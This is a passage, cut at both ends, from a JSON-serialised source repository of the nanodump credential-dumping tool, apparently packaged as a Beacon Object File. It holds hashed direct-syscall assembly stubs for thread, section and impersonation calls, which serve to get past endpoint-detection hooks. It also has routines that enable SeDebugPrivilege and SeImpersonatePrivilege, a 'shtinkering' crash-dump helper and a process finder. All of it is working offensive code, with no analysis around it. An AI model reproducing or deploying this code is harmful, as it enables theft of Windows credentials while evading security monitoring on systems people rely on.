\"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x381B3AB5 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x381B3AB5 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS _NtFsControlFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN ULONG FsControlCode,\n    IN PVOID InputBuffer OPTIONAL,\n    IN ULONG InputBufferLength,\n    OUT PVOID OutputBuffer OPTIONAL,\n    IN ULONG OutputBufferLength)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x20C6D09C \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x20C6D09C \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtGetContextThread(\n    IN HANDLE ThreadHandle,\n    IN OUT PCONTEXT ThreadContext)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xBA9EF43C \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xBA9EF43C \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtSetContextThread(\n    IN HANDLE ThreadHandle,\n    IN PCONTEXT Context)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xCB668D44 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xCB668D44 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtResumeThread(\n    IN HANDLE ThreadHandle,\n    IN OUT PULONG PreviousSuspendCount OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x1339598F \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x1339598F \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtDelayExecution(\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER DelayInterval)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xB6EB75BA \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xB6EB75BA \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtGetNextThread(\n    IN HANDLE ProcessHandle,\n    IN HANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN ULONG HandleAttributes,\n    IN ULONG Flags,\n    OUT PHANDLE NewThreadHandle)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x1BB0D9EF \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x1BB0D9EF \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS _NtQueryInformationThread(\n    IN HANDLE ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    OUT PTHREAD_BASIC_INFORMATION ThreadInformation,\n    IN ULONG ThreadInformationLength,\n    OUT PULONG ReturnLength OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x0ACD84E7 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x0ACD84E7 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtOpenThread(\n    OUT PHANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PCLIENT_ID ClientId OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x36960437 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x36960437 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtMapViewOfSection(\n    IN HANDLE SectionHandle,\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID BaseAddress,\n    IN ULONG ZeroBits,\n    IN SIZE_T CommitSize,\n    IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,\n    IN OUT PSIZE_T ViewSize,\n    IN SECTION_INHERIT InheritDisposition,\n    IN ULONG AllocationType,\n    IN ULONG Win32Protect)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x7A2D5C79 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x7A2D5C79 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtUnmapViewOfSection(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xCA1ACC8F \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xCA1ACC8F \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtImpersonateThread(\n    IN HANDLE ThreadHandle,\n    IN HANDLE ThreadToImpersonate,\n    IN PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x0C26D619 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x0C26D619 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/token_priv.c",
    "content": "#include \"token_priv.h\"\n#if defined(NANO) && defined(BOF)\n#include \"dinvoke.c\"\n#endif\n\n#if !defined(SSP)\n\nBOOL enable_impersonate_priv(VOID)\n{\n    BOOL success = check_token_privilege(\n        NULL,\n        L\"SeImpersonatePrivilege\",\n        TRUE);\n    if (!success)\n    {\n        PRINT_ERR(\"Could not enable SeImpersonatePrivilege. Are you elevated?\");\n    }\n    return success;\n}\n\nBOOL enable_debug_priv(VOID)\n{\n    BOOL success = check_token_privilege(\n        NULL,\n        SeDebugPrivilege,\n        TRUE);\n    if (!success)\n    {\n        PRINT_ERR(\"Could not enable SeDebugPrivilege. Are you elevated?\");\n    }\n    return success;\n}\n\nBOOL check_token_privileges(\n    IN HANDLE hToken OPTIONAL,\n    IN LPCWSTR ppwszRequiredPrivileges[],\n    IN ULONG32 dwNumRequiredPrivileges,\n    IN BOOL bEnablePrivilege)\n{\n    BOOL success = FALSE;\n    BOOL own_token = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n\n    if (!ppwszRequiredPrivileges || !dwNumRequiredPrivileges)\n        return TRUE;\n\n    if (!hToken)\n    {\n        // get a handle to our token\n        own_token = TRUE;\n        status = NtOpenProcessToken(\n            NtCurrentProcess(),\n            TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,\n            &hToken);\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtOpenProcessToken\", status);\n            goto end;\n        }\n    }\n\n    for (ULONG32 i = 0; i < dwNumRequiredPrivileges; i++)\n    {\n        // make sure we have all the privileges we need\n        success = check_token_privilege(\n            hToken,\n            ppwszRequiredPrivileges[i],\n            bEnablePrivilege);\n        if (!success && own_token && bEnablePrivilege)\n        {\n            PRINT_ERR(\"A privilege is missing: %ls. Are you elevated?\", ppwszRequiredPrivileges[i]);\n            goto end;\n        }\n        else if (!success)\n        {\n            PRINT_ERR(\"A privilege is missing: %ls\", ppwszRequiredPrivileges[i]);\n            goto end;\n        }\n    }\n\n    success = TRUE;\n\nend:\n    if (own_token && hToken)\n        NtClose(hToken);\n\n    return success;\n}\n\nBOOL check_token_privilege(\n    IN HANDLE hToken OPTIONAL,\n    IN LPCWSTR pwszPrivilege,\n    IN BOOL bEnablePrivilege)\n{\n    BOOL bReturnValue = FALSE;\n    ULONG dwTokenPrivilegesSize = 8, i = 0, dwPrivilegeNameLength = 0;\n    ULONG dwPrevTokenPrivilegesSize = dwTokenPrivilegesSize;\n    PTOKEN_PRIVILEGES pTokenPrivileges = NULL;\n    LookupPrivilegeNameW_t LookupPrivilegeNameW;\n    LUID_AND_ATTRIBUTES laa = { 0 };\n    TOKEN_PRIVILEGES tkp = { 0 };\n    PRIVILEGE_SET priv_set = { 0 };\n    LPWSTR pwszPrivilegeNameTemp = NULL;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    BOOL own_token = FALSE;\n    BOOL success = FALSE;\n    BOOL found_priv = FALSE;\n\n    LookupPrivilegeNameW = (LookupPrivilegeNameW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        LookupPrivilegeNameW_SW2_HASH,\n        0);\n    if (!LookupPrivilegeNameW)\n    {\n        api_not_found(\"LookupPrivilegeNameW\");\n        goto end;\n    }\n\n    if (!hToken)\n    {\n        // get a handle to our token\n        own_token = TRUE;\n        status = NtOpenProcessToken(\n            NtCurrentProcess(),\n            TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,\n            &hToken);\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtOpenProcessToken\", status);\n            goto end;\n        }\n    }\n\n    do\n    {\n        dwPrevTokenPrivilegesSize = dwTokenPrivilegesSize;\n        pTokenPrivileges = intAlloc(dwTokenPrivilegesSize);\n        if (!pTokenPrivileges)\n        {\n            malloc_failed();\n            goto end;\n        }\n\n        status = NtQueryInformationToken(\n            hToken,\n            TokenPrivileges,\n            pTokenPrivileges,\n            dwTokenPrivilegesSize,\n            &dwTokenPrivilegesSize);\n        if (NT_SUCCESS(status))\n            break;\n\n        DATA_FREE(pTokenPrivileges, dwPrevTokenPrivilegesSize);\n    } while (status == STATUS_BUFFER_TOO_SMALL);\n\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQueryInformationToken\", status);\n        goto end;\n    }\n\n    for (i = 0; i < pTokenPrivileges->PrivilegeCount; i++)\n    {\n        laa = pTokenPrivileges->Privileges[i];\n        dwPrivilegeNameLength = 0;\n\n        success = LookupPrivilegeNameW(\n            NULL,\n            &laa.Luid,\n            NULL,\n            &dwPrivilegeNameLength);\n        if (success || GetLastError() != ERROR_INSUFFICIENT_BUFFER)\n        {\n            function_failed(\"LookupPrivilegeNameW\");\n            goto end;\n        }\n        dwPrivilegeNameLength++;\n\n        pwszPrivilegeNameTemp = intAlloc(dwPrivilegeNameLength * sizeof(WCHAR));\n        if (!pwszPrivilegeNameTemp)\n        {\n            malloc_failed();\n            goto end;\n        }\n\n        success = LookupPrivilegeNameW(\n            NULL,\n            &laa.Luid,\n            pwszPrivilegeNameTemp,\n            &dwPrivilegeNameLength);\n        if (!success)\n        {\n            function_failed(\"LookupPrivilegeNameW\");\n            goto end;\n        }\n\n        if (!_wcsicmp(pwszPrivilegeNameTemp, pwszPrivilege))\n        {\n            // found it\n            found_priv = TRUE;\n\n            // test if already enabled\n            priv_set.PrivilegeCount = 1;\n            priv_set.Privilege[0].Luid = laa.Luid;\n            priv_set.Privilege[0].Attributes = laa.Attributes;\n            status = NtPrivilegeCheck(\n                hToken,\n                &priv_set,\n                &bReturnValue);\n            if (!NT_SUCCESS(status))\n            {\n                syscall_failed(\"NtPrivilegeCheck\", status);\n                bReturnValue = FALSE;\n                goto end;\n            }\n\n            if (bReturnValue)\n            {\n                DPRINT(\"Privilege %ls was already enabled\", pwszPrivilegeNameTemp);\n            }\n\n            if (!bReturnValue && bEnablePrivilege)\n            {\n                tkp.PrivilegeCount = 1;\n                tkp.Privileges[0].Luid = laa.Luid;\n                tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n                status = NtAdjustPrivilegesToken(\n                    hToken,\n                    FALSE,\n                    &tkp,\n                    sizeof(TOKEN_PRIVILEGES),\n                    NULL,\n                    NULL);\n                if (!NT_SUCCESS(status))\n                {\n                    syscall_failed(\"NtAdjustPrivilegesToken\", status);\n                    goto end;\n                }\n                DPRINT(\"Enabled %ls\", pwszPrivilegeNameTemp);\n                bReturnValue = TRUE;\n            }\n\n            if (!bReturnValue && !bEnablePrivilege)\n            {\n                DPRINT(\"The privilege %ls is not enabled\", pwszPrivilegeNameTemp);\n            }\n\n            break;\n        }\n        DATA_FREE(pwszPrivilegeNameTemp, wcslen(pwszPrivilegeNameTemp) * sizeof(WCHAR));\n    }\n\n    if (!found_priv)\n    {\n        DPRINT_ERR(\"The privilege %ls was not found\", pwszPrivilege);\n    }\n\nend:\n    if (pTokenPrivileges)\n    {\n        DATA_FREE(pTokenPrivileges, dwTokenPrivilegesSize);\n    }\n    if (pwszPrivilegeNameTemp)\n    {\n        DATA_FREE(pwszPrivilegeNameTemp, wcslen(pwszPrivilegeNameTemp) * sizeof(WCHAR));\n    }\n    if (own_token && hToken)\n        NtClose(hToken);\n\n    return bReturnValue;\n}\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/utils.c",
    "content": "#include \"utils.h\"\n#include \"handle.h\"\n#include \"dinvoke.h\"\n#include \"syscalls.h\"\n#include \"adaptix.h\"\n\n#ifndef SSP\n\nBOOL print_shtinkering_crash_location(VOID)\n{\n    BOOL ret_val = FALSE;\n    DWORD bufferSize = 300;\n    LPWSTR env_var = NULL;\n    BOOL success = FALSE;\n\n    env_var = intAlloc(bufferSize);\n    if (!env_var)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    success = get_env_var(L\"LocalAppData\", env_var, bufferSize);\n    if (!success)\n        goto cleanup;\n\n    PRINT(\"Done, run: dir %ls\\\\CrashDumps\\\\\", env_var);\n\n    ret_val = TRUE;\n\ncleanup:\n    if (env_var)\n    {\n        DATA_FREE(env_var, bufferSize);\n    }\n\n    return ret_val;\n}\n\nBOOL get_env_var(\n    IN LPWSTR name,\n    OUT LPWSTR value,\n    IN DWORD size)\n{\n    BOOL ret_val = FALSE;\n    GetEnvironmentVariableW_t GetEnvironmentVariableW = NULL;\n\n    GetEnvironmentVariableW = (GetEnvironmentVariableW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetEnvironmentVariableW_SW2_HASH,\n        0);\n    if (!GetEnvironmentVariableW)\n    {\n        api_not_found(\"GetEnvironmentVariableW\");\n        goto cleanup;\n    }\n\n    size = GetEnvironmentVariableW(name, value, size);\n    if (!size)\n    {\n        DPRINT_ERR(\"Retrieving %ls failed\", value);\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\n// https://github.com/kevoreilly/capemon/blob/940c76cc17c4daefbf11f6cd932a9dece472ace1/hook_sleep.c#L502\nDWORD get_tick_count(VOID)\n{\n    PVOID pPeb = (PVOID)READ_MEMLOC(PEB_OFFSET);\n    ULONG32 MajorVersion = *RVA(PULONG32, pPeb, OSMAJORVERSION_OFFSET);\n\n    if (MajorVersion >= 6)\n        return (DWORD)((*(ULONGLONG *)0x7ffe0320 * *(DWORD *)0x7ffe0004) >> 24);\n    else\n        return (DWORD)(((ULONGLONG)*(DWORD *)0x7ffe0000 * *(DWORD *)0x7ffe0004) >> 24);\n}\n\n#endif\n\nBOOL find_process_id_by_name(\n    IN LPCSTR process_name,\n    OUT PDWORD pPid)\n{\n    BOOL success = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    HANDLE hProcess = NULL;\n    PUNICODE_STRING image = NULL;\n    ULONG image_size = 0;\n    WCHAR wprocess_name[MAX_PATH] = { 0 };\n    LPWSTR current_process = NULL;\n    *pPid = 0;\n\n    if (!process_name)\n        goto end;\n\n    mbstowcs(wprocess_name, process_name, MAX_PATH);\n\n    while (TRUE)\n    {\n        /*\n         * loop over each process\n         */\n        status = NtGetNextProcess(\n            hProcess,\n            PROCESS_QUERY_INFORMATION,\n            0,\n            0,\n            &hProcess);\n        if (status == STATUS_NO_MORE_ENTRIES)\n        {\n            PRINT_ERR(\"The process '%s' was not found\", process_name);\n            goto end;\n        }\n        if 